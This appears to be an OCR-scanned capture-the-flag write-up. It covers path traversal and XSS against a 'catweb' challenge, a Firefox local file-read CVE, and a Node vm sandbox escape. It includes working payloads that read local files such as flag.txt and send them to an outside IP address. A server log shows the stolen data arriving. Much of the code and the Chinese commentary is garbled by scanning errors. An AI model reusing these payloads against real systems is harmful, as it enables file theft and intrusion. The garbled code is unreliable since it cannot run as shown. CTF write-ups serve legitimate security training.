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<html>
<head>
<title>My cats</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script>
function getNewCats(kind) {
$.getISON("'http://catweb.zajebistyc.tf/cats?kind="+kind, function(data) {
if(data.status != 'ok")
{
return;
by
$('#cats_container').empty();
cats = data.content;
cats.forEach(function(cat) {
var newDiv = document.createElement('div');
newDiv.innerHTML = ‘<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
$('#cats_container').append(newDiv);
1)
1)

}
$(document).ready(function() {
$('#cat_select').change(function() {
var kind = $(this).val();
history.pushState({}, '', '?'+kind)
getNewCats(kind);
1
var kind = window.location.search.substring(1);
if(kind == "")
{
kind = 'black’;
}
getNewCats(kind);
1)
</script>
</head>
<body>
<select id="cat_select">
<option value="black">black</option>
<option value="grey">grey</option>
<option value="red">red</option>
<option value="white">white</option>
</select>
<div id="cats_container"></div>
not like sumthing? send it <a href="/report">hier</a>
</body>
</html>

curl http://catweb.zajebistyc.tf/cats?kind=grey
{"status": "ok", "content": ["1554866661126960529.jpg", "1JCNA_JC_400x400.7jpg", "1.jpg", "1548178639131425422.7p
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curl http://catweb.zajebistyc.tf/cats?kind=.
{"status": "ok", "content": ["grey", "white", "red", "black"]}
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curl http://catweb.zajebistyc.tf/cats?kind=..

{"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]
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curl http://catweb.zajebistyc.tf/cats?kind=../templates

{"status": "ok", "content": ["report.html", "index.html", "flag.txt"]}
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<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />
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http://catweb.zajebistyc.tf/?%22,%20%22content%22:%20[%22\%22%3E%3Cscript%20src=%27http://139.199.203.253/1.js%2

7%3E%3C/script%3E%22],%20%22status%22:%20%220k%22,%20%22a%22 : %20%22

% Ixss .
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curl -v http://catweb.zajebistyc.tf/cats?kind=..
GET /cats?kind=.. HTTP/1.1
Host: catweb.zajebistyc.tf
User-Agent: curl/7.46.0
Accept: */*

HTTP/1.1 200 OK

Date: Mon, 16 Mar 2020 12:57:20 GMT
Content-Type: application/json
Content-Length: 101

Connection: keep-alive

Set-Cookie: _ cfduid=d86f3c9434c360ddb59397a4c6181030a1584363440; expires=Wed, 15-Apr-20 12:57:20 GMT; path=/;
domain=.zajebistyc.tf; HttpOnly; SameSite=Lax
Access-Control-Allow-Origin: *
CF-Cache-Status: DYNAMIC

Server: cloudflare

CF-RAY: 574ea3blad3a7215-AMS

Connection #0 to host catweb.zajebistyc.tf left intact
{"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]}
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0

MAE firefox<68 N —1~CVE-2019-11730,
https://github.com/alidnf/CVE-2019-11730/blob/master/poc.html

https://www.cvedetails.com/cve/CVE-2019-11730/
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fetch('file:///app/templates/flag.txt').then(response => response.text()).then((response) => {window.location =

"http://139.199.203.253:7897/?a=" + (btoa(response) || 'No Value')});
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file:///app/templates/index.html?%22%2C%20%22content%22%3A%20%5B%22%5C%22%3E%3Cscript%20src%3D ' http%3A%2F%2F139.
199.203.253%3A7897%2F1.]js "' %3E%3C%2Fscript%3E%22%5D%2C%20%22status%22%3A%20%220k%22%2C%20%22a%22%3A%20%22
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python -m SimpleHTTPServer 7897

157.230.22.175 [16/Mar/2020 21:10:54] "GET /1.js HTTP/1.1" 200 -

157.230.22.175 [16/Mar/2020 21:10:55] "GET /?a=cDR7Y2FuX21faGF6X2FfcGllY2Vfb2ZfZmxhZ19wbG16P30K HTTP/1.1" 20
0 -

157.230.22.175 [16/Mar/2020 21:10:56] code 404, message File not found

157.230.22.175 [16/Mar/2020 21:10:56] "GET /favicon.ico HTTP/1.1" 404 -

fi#flag it p4{can_i_haz_a_piece_of_flag_pliz?}
3T xhir ) A H SCPF

VAT — B LA B3 Hjs /2 Tk SR BA I SCAHE B, AR 3% 1 M2 RS 1 00 R o2 w] Dodad xhr 25 file WS A b SCAHE
B, 3% https:/lbuer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/ iX 5 S & .

<script>function reqgListener () { var encoded = encodeURI(this.responseText); location.href="http://xss_platform
?data="+encoded; }var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqlListener);oReq.open("GET", "fi

le:///var/www/html/flag.php");oReq.send();</script>
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const express = require("express")
const fs = require("fs")
const vm = require("vm")

const watchdog = require("./watchdog");

global.flag = fs.readFileSync("flag").toString()
const source = fs.readFileSync(__filename).toString()

const help = "There is no help on the way."

const app = express()
const port = 3000

app.use(express.json())

app.use('/', express.static('public'))

app.post('/repl', (req, res) => {
let sandbox = vm.createContext({par: (v => " (${v}) ), source, help})
let validInput = /~[a-zA-Z0-9 ${} ]1+$/g

let command = req.body[ 'cmd']

console.log( ${req.ip}> ${command} )

let response;

try {
if(validInput.test(command))

{
let watch = watchdog.schedule()

try {
response = vm.runInContext(command, sandbox, {
timeout: 300,
displayErrors: false
3
} finally {
watchdog.stop(watch)
}
} else
throw new Error("Invalid input.")
} catch(ex)
{

response = ex.toString()

console.log( ${req.ip}< ${response} )
res.send(JSON.stringify({"response": response}))

1)

console.log( Listening on :${port}...")
app.listen(port, '0.0.0.0')




Function a${Function a${ return String${Function a${ with ${ ${par help } } return charAt${par 27 } } " }fromCha
rCode${par 116${1}104${1}114${1}111${1}119${1}32${1}110${1}101${1}119${1}32${1}80%{1}114${1}111${1}120${1}121${1]
}40${1}123${1}125${1}44${1}32${1}123${1}10${1}32${1}32${1}103${1}101${1}116${1}58${1}32${1}102${1}117${1}110${1}
00${1}116${1}105${1}111${1}110${1}40${1}109${1}101${1}44${1}32${1}107${1}101${1}121${1}41${1}32${1}123${1}10${1}
32${1}32${1}32${1}32${1}99${1}111${1}110${1}115${1}116${1}32${1}99${1}99${1}32${1}61${1}32${1}97${1}114${1}103%{
1}117${1}109${1}101${1}110${1}116${1}115${1}46${1}99${1}97${1}108${1}108${1}101${1}101${1}46${1}99${1}97${1}108%
{1}108${1}101${1}114${1}59${1}10${1}32${1}32${1}32${1}32${1}105${1}102${1}32${1}40${1}99${1}99%${1}32${1}33%${1}61
${1}32${1}110${1}117${1}108${1}108${1}41${1}32${1}123${1}10${1}32${1}32${1}32${1}32${1}32${1}32${1}118%{1}97${1}

114${1}32${1}114${1}101${1}115${1}32${1}61${1}32${1}140${1}99${1}99${1}46${1}99${1}111${1}110${1}115${1}116${1}11
4${1}117${1}99${1}116${1}111${1}114${1}46${1}99%{1}111${1}110${1}115${1}116${1}114${1}117${1}99%{1}116${1}111${1
}114${1}40${1}39${1}114${1}101${1}116${1}117${1}114${1}110${1}32${1}102${1}108${1}97${1}103${1}39${1}413{1}41${1
140${1}141${1}59${1}10${1}32${1}32${1}32${1}32${1}125${1}10${1}32${1}32${1}32${1}328{1}114${1}101${1}116${1}117%${
1}114${1}110${1}32${1}102${1}117${1}110${1}99${1}116${1}105%{1}111${1}110${1}32${1}40${1}41${1}32${1}123${1}32%{
131114${1}101${1}116${1}117${1}114${1}110${1}32${1}114${1}101${1}115${1}59${1}32${1}125${1}59${1}10${1}32${1}32%{
1}125${1}10${1}125%{1}41°} } "}
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